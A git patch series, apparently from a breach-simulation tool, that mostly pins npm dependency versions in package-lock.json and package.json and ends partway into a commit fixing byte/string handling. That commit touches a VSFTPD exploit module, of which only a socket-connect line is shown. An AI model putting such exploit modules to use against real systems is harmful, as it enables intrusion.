- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
- "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
- "dev": true,
- "requires": {
- "invert-kv": "^2.0.0"
- }
- },
"locate-path": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
"integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
"dev": true,
"requires": {
- "p-locate": "^3.0.0",
- "path-exists": "^3.0.0"
- }
- },
- "mem": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz",
- "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==",
- "dev": true,
- "requires": {
- "map-age-cleaner": "^0.1.1",
- "mimic-fn": "^1.0.0",
- "p-is-promise": "^1.1.0"
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
}
},
"micromatch": {
@@ -19941,46 +21338,47 @@
"integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
"dev": true,
"requires": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "braces": "2.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "extglob": "2.0.4",
+ "fragment-cache": "0.2.1",
+ "kind-of": "6.0.2",
+ "nanomatch": "1.2.13",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
}
},
+ "mime": {
+ "version": "2.4.4",
+ "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz",
+ "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA==",
+ "dev": true
+ },
"nan": {
- "version": "2.11.1",
- "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz",
- "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==",
+ "version": "2.14.0",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz",
+ "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==",
"dev": true,
"optional": true
},
- "os-locale": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz",
- "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==",
- "dev": true,
- "requires": {
- "execa": "^0.10.0",
- "lcid": "^2.0.0",
- "mem": "^4.0.0"
- }
+ "normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "dev": true
},
"p-limit": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz",
- "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz",
+ "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==",
"dev": true,
"requires": {
- "p-try": "^2.0.0"
+ "p-try": "2.2.0"
}
},
"p-locate": {
@@ -19989,13 +21387,13 @@
"integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
"dev": true,
"requires": {
- "p-limit": "^2.0.0"
+ "p-limit": "2.2.1"
}
},
"p-try": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz",
- "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
"dev": true
},
"path-exists": {
@@ -20004,54 +21402,96 @@
"integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
"dev": true
},
- "pify": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
- "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=",
+ "process-nextick-args": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
+ "range-parser": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+ "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
+ "dev": true
+ },
+ "readable-stream": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
+ "dev": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "readdirp": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+ "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "4.1.11",
+ "micromatch": "3.1.10",
+ "readable-stream": "2.3.6"
+ }
+ },
"schema-utils": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
"integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
"dev": true,
"requires": {
- "ajv": "^6.1.0",
- "ajv-errors": "^1.0.0",
- "ajv-keywords": "^3.1.0"
+ "ajv": "6.5.2",
+ "ajv-errors": "1.0.0",
+ "ajv-keywords": "3.2.0"
}
},
"semver": {
- "version": "5.5.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
- "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
"dev": true
},
- "supports-color": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "safe-buffer": "5.1.1"
+ }
+ },
+ "supports-color": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
+ "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
+ "dev": true,
+ "requires": {
+ "has-flag": "3.0.0"
}
},
"uuid": {
- "version": "3.3.2",
- "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
- "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==",
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz",
+ "integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ==",
"dev": true
},
"webpack-dev-middleware": {
- "version": "3.4.0",
- "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.4.0.tgz",
- "integrity": "sha512-Q9Iyc0X9dP9bAsYskAVJ/hmIZZQwf/3Sy4xCAZgL5cUkjZmUZLt4l5HpbST/Pdgjn3u6pE7u5OdGd1apgzRujA==",
+ "version": "3.7.1",
+ "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.7.1.tgz",
+ "integrity": "sha512-5MWu9SH1z3hY7oHOV6Kbkz5x7hXbxK56mGHNqHTe6d+ewxOwKUxoUJBs7QIaJb33lPjl9bJZ3X0vCoooUzC36A==",
"dev": true,
"requires": {
- "memory-fs": "~0.4.1",
- "mime": "^2.3.1",
- "range-parser": "^1.0.3",
- "webpack-log": "^2.0.0"
+ "memory-fs": "0.4.1",
+ "mime": "2.4.4",
+ "mkdirp": "0.5.1",
+ "range-parser": "1.2.1",
+ "webpack-log": "2.0.0"
}
},
"webpack-log": {
@@ -20060,37 +21500,47 @@
"integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==",
"dev": true,
"requires": {
- "ansi-colors": "^3.0.0",
- "uuid": "^3.3.2"
+ "ansi-colors": "3.2.4",
+ "uuid": "3.3.3"
+ }
+ },
+ "ws": {
+ "version": "6.2.1",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.1.tgz",
+ "integrity": "sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==",
+ "dev": true,
+ "requires": {
+ "async-limiter": "1.0.1"
}
},
"yargs": {
- "version": "12.0.2",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz",
- "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==",
+ "version": "12.0.5",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.5.tgz",
+ "integrity": "sha512-Lhz8TLaYnxq/2ObqHDql8dX8CJi97oHxrjUcYtzKbbykPtVW9WB+poxI+NM2UIzsMgNCZTIf0AQwsjK5yMAqZw==",
"dev": true,
"requires": {
- "cliui": "^4.0.0",
- "decamelize": "^2.0.0",
- "find-up": "^3.0.0",
- "get-caller-file": "^1.0.1",
- "os-locale": "^3.0.0",
- "require-directory": "^2.1.1",
- "require-main-filename": "^1.0.1",
- "set-blocking": "^2.0.0",
- "string-width": "^2.0.0",
- "which-module": "^2.0.0",
- "y18n": "^3.2.1 || ^4.0.0",
- "yargs-parser": "^10.1.0"
+ "cliui": "4.1.0",
+ "decamelize": "1.2.0",
+ "find-up": "3.0.0",
+ "get-caller-file": "1.0.3",
+ "os-locale": "3.1.0",
+ "require-directory": "2.1.1",
+ "require-main-filename": "1.0.1",
+ "set-blocking": "2.0.0",
+ "string-width": "2.1.1",
+ "which-module": "2.0.0",
+ "y18n": "3.2.1",
+ "yargs-parser": "11.1.1"
}
},
"yargs-parser": {
- "version": "10.1.0",
- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz",
- "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==",
+ "version": "11.1.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-11.1.1.tgz",
+ "integrity": "sha512-C6kB/WJDiaxONLJQnF8ccx9SEeoTTLek8RVbaOIsrAUS8VrBEXfmeSnCZxygc+XC2sNMBIwOOnfcxiynjHsVSQ==",
"dev": true,
"requires": {
- "camelcase": "^4.1.0"
+ "camelcase": "5.3.1",
+ "decamelize": "1.2.0"
}
}
}
@@ -20101,10 +21551,10 @@
"integrity": "sha512-U9AnICnu50HXtiqiDxuli5gLB5PGBo7VvcHx36jRZHwK4vzOYLbImqT4lwWwoMHdQWwEKw736fCHEekokTEKHA==",
"dev": true,
"requires": {
- "chalk": "^2.1.0",
- "log-symbols": "^2.1.0",
- "loglevelnext": "^1.0.1",
- "uuid": "^3.1.0"
+ "chalk": "2.4.1",
+ "log-symbols": "2.2.0",
+ "loglevelnext": "1.0.5",
+ "uuid": "3.2.1"
},
"dependencies": {
"ansi-styles": {
@@ -20113,7 +21563,7 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
@@ -20122,9 +21572,9 @@
"integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.5.0"
}
},
"has-flag": {
@@ -20139,19 +21589,19 @@
"integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
},
"webpack-sources": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.3.0.tgz",
- "integrity": "sha512-OiVgSrbGu7NEnEvQJJgdSFPl2qWKkWq5lHMhgiToIiN9w34EBnjYzSYs+VbL5KoYiLNtFFa7BZIKxRED3I32pA==",
+ "version": "1.4.3",
+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
+ "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
"dev": true,
"requires": {
- "source-list-map": "^2.0.0",
- "source-map": "~0.6.1"
+ "source-list-map": "2.0.1",
+ "source-map": "0.6.1"
},
"dependencies": {
"source-map": {
@@ -20163,13 +21613,14 @@
}
},
"websocket-driver": {
- "version": "0.7.0",
- "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz",
- "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=",
+ "version": "0.7.3",
+ "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.3.tgz",
+ "integrity": "sha512-bpxWlvbbB459Mlipc5GBzzZwhoZgGEZLuqPaR0INBGnPAY1vdBX6hPnoFXiw+3yWxDuHyQjO2oXTMyS8A5haFg==",
"dev": true,
"requires": {
- "http-parser-js": ">=0.4.0",
- "websocket-extensions": ">=0.1.1"
+ "http-parser-js": "0.4.10",
+ "safe-buffer": "5.1.1",
+ "websocket-extensions": "0.1.3"
}
},
"websocket-extensions": {
@@ -20188,7 +21639,7 @@
"resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz",
"integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=",
"requires": {
- "isexe": "^2.0.0"
+ "isexe": "2.0.0"
}
},
"which-module": {
@@ -20202,7 +21653,7 @@
"resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz",
"integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==",
"requires": {
- "string-width": "^1.0.2 || 2"
+ "string-width": "2.1.1"
}
},
"window-size": {
@@ -20219,12 +21670,12 @@
"dev": true
},
"worker-farm": {
- "version": "1.6.0",
- "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz",
- "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==",
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz",
+ "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==",
"dev": true,
"requires": {
- "errno": "~0.1.7"
+ "errno": "0.1.7"
}
},
"wrap-ansi": {
@@ -20232,8 +21683,8 @@
"resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
"integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=",
"requires": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1"
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1"
},
"dependencies": {
"is-fullwidth-code-point": {
@@ -20241,7 +21692,7 @@
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
"integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"string-width": {
@@ -20249,9 +21700,9 @@
"resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
"integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
}
}
@@ -20262,12 +21713,12 @@
"integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
},
"write": {
- "version": "0.2.1",
- "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz",
- "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=",
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz",
+ "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==",
"dev": true,
"requires": {
- "mkdirp": "^0.5.1"
+ "mkdirp": "0.5.1"
}
},
"ws": {
@@ -20276,9 +21727,9 @@
"integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==",
"dev": true,
"requires": {
- "async-limiter": "~1.0.0",
- "safe-buffer": "~5.1.0",
- "ultron": "~1.1.0"
+ "async-limiter": "1.0.1",
+ "safe-buffer": "5.1.1",
+ "ultron": "1.1.1"
}
},
"xmlhttprequest-ssl": {
@@ -20287,16 +21738,10 @@
"integrity": "sha1-wodrBhaKrcQOV9l+gRkayPQ5iz4=",
"dev": true
},
- "xregexp": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.0.0.tgz",
- "integrity": "sha512-PHyM+sQouu7xspQQwELlGwwd05mXUFqwFYfqPO0cC7x4fxyHnnuetmQr6CjJiafIDoH4MogHb9dOoJzR/Y4rFg==",
- "dev": true
- },
"xtend": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz",
- "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=",
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
"dev": true
},
"y18n": {
@@ -20316,25 +21761,26 @@
"dev": true,
"optional": true,
"requires": {
- "camelcase": "^1.0.2",
- "cliui": "^2.1.0",
- "decamelize": "^1.0.0",
+ "camelcase": "1.2.1",
+ "cliui": "2.1.0",
+ "decamelize": "1.2.0",
"window-size": "0.1.0"
}
},
"yargs-parser": {
- "version": "9.0.2",
- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-9.0.2.tgz",
- "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=",
+ "version": "13.1.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.1.tgz",
+ "integrity": "sha512-oVAVsHz6uFrg3XQheFII8ESO2ssAf9luWuAd6Wexsu4F3OtIW0o8IribPXYrD4WC24LWtPrJlGy87y5udK+dxQ==",
"dev": true,
"requires": {
- "camelcase": "^4.1.0"
+ "camelcase": "5.3.1",
+ "decamelize": "1.2.0"
},
"dependencies": {
"camelcase": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=",
+ "version": "5.3.1",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
"dev": true
}
}
@@ -20345,7 +21791,7 @@
"integrity": "sha1-lSj0QtqxsihOWLQ3m7GU4i4MQAU=",
"dev": true,
"requires": {
- "fd-slicer": "~1.0.1"
+ "fd-slicer": "1.0.1"
}
},
"yeast": {
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 4da085836..aa85164ce 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -33,16 +33,16 @@
"babel-preset-stage-0": "^6.5.0",
"bower-webpack-plugin": "^0.1.9",
"chai": "^4.2.0",
- "copyfiles": "^2.1.0",
- "css-loader": "^1.0.0",
- "eslint": "^5.6.1",
- "eslint-loader": "^2.1.1",
- "eslint-plugin-react": "^7.11.1",
+ "copyfiles": "^2.1.1",
+ "css-loader": "^1.0.1",
+ "eslint": "^5.16.0",
+ "eslint-loader": "^2.2.1",
+ "eslint-plugin-react": "^7.14.3",
"file-loader": "^1.1.11",
- "glob": "^7.1.3",
+ "glob": "^7.1.4",
"html-loader": "^0.5.5",
"html-webpack-plugin": "^3.2.0",
- "karma": "^3.0.0",
+ "karma": "^3.1.4",
"karma-chai": "^0.1.0",
"karma-coverage": "^1.1.2",
"karma-mocha": "^1.0.0",
@@ -56,55 +56,55 @@
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
"react-event-timeline": "^1.6.3",
- "react-hot-loader": "^4.3.11",
- "rimraf": "^2.6.2",
+ "react-hot-loader": "^4.12.13",
+ "rimraf": "^2.7.1",
"style-loader": "^0.22.1",
"url-loader": "^1.1.2",
- "webpack": "^4.20.2",
- "webpack-cli": "^3.1.2",
- "webpack-dev-server": "^3.1.9"
+ "webpack": "^4.40.2",
+ "webpack-cli": "^3.3.9",
+ "webpack-dev-server": "^3.8.1"
},
"dependencies": {
- "@emotion/core": "^10.0.10",
- "@kunukn/react-collapse": "^1.0.5",
+ "@emotion/core": "^10.0.17",
+ "@kunukn/react-collapse": "^1.2.7",
"bootstrap": "3.4.1",
"classnames": "^2.2.6",
- "core-js": "^2.5.7",
+ "core-js": "^2.6.9",
"d3": "^5.11.0",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"file-saver": "^2.0.2",
- "filepond": "^4.2.0",
- "js-file-download": "^0.4.4",
+ "filepond": "^4.7.1",
+ "js-file-download": "^0.4.8",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
- "moment": "^2.22.2",
+ "moment": "^2.24.0",
"node-sass": "^4.11.0",
"normalize.css": "^8.0.0",
- "npm": "^6.4.1",
- "prop-types": "^15.6.2",
- "rc-progress": "^2.2.6",
- "react": "^16.5.2",
+ "npm": "^6.11.3",
+ "pluralize": "^7.0.0",
+ "prop-types": "^15.7.2",
+ "rc-progress": "^2.5.2",
+ "react": "^16.9.0",
"react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
"react-desktop-notification": "^1.0.9",
"react-dimensions": "^1.3.0",
- "react-dom": "^16.5.2",
+ "react-dom": "^16.9.0",
"react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2",
- "react-json-tree": "^0.11.0",
- "react-jsonschema-form": "^1.0.5",
+ "react-json-tree": "^0.11.2",
+ "react-jsonschema-form": "^1.8.0",
"react-redux": "^5.1.1",
"react-router-dom": "^4.3.1",
- "react-spinners": "^0.5.4",
- "react-table": "^6.8.6",
+ "react-spinners": "^0.5.13",
+ "react-table": "^6.10.3",
"react-toggle": "^4.0.1",
- "react-tooltip-lite": "^1.9.1",
- "redux": "^4.0.0",
- "sass-loader": "^7.1.0",
- "sha3": "^2.0.0",
- "pluralize": "^7.0.0"
+ "react-tooltip-lite": "^1.10.0",
+ "redux": "^4.0.4",
+ "sass-loader": "^7.3.1",
+ "sha3": "^2.0.7"
}
}
From c40ec2adafefa49d6de17e30e606b0ad77c88268 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 24 Sep 2019 11:47:29 +0300
Subject: [PATCH 007/108] Outdated sort, byte/string mixups fixed
---
monkey/infection_monkey/config.py | 2 +-
monkey/infection_monkey/exploit/vsftpd.py | 4 ++--
monkey/infection_monkey/network/ping_scanner.py | 3 ++-
monkey/monkey_island/cc/services/node.py | 10 +---------
4 files changed, 6 insertions(+), 13 deletions(-)
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 35bda0bd2..787c9e073 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -287,7 +287,7 @@ class Configuration(object):
:param sensitive_data: the data to hash.
:return: the hashed data.
"""
- password_hashed = hashlib.sha512(sensitive_data).hexdigest()
+ password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
return password_hashed
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 744853bdf..136a8a36b 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -71,9 +71,9 @@ class VSFTPDExploiter(HostExploiter):
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
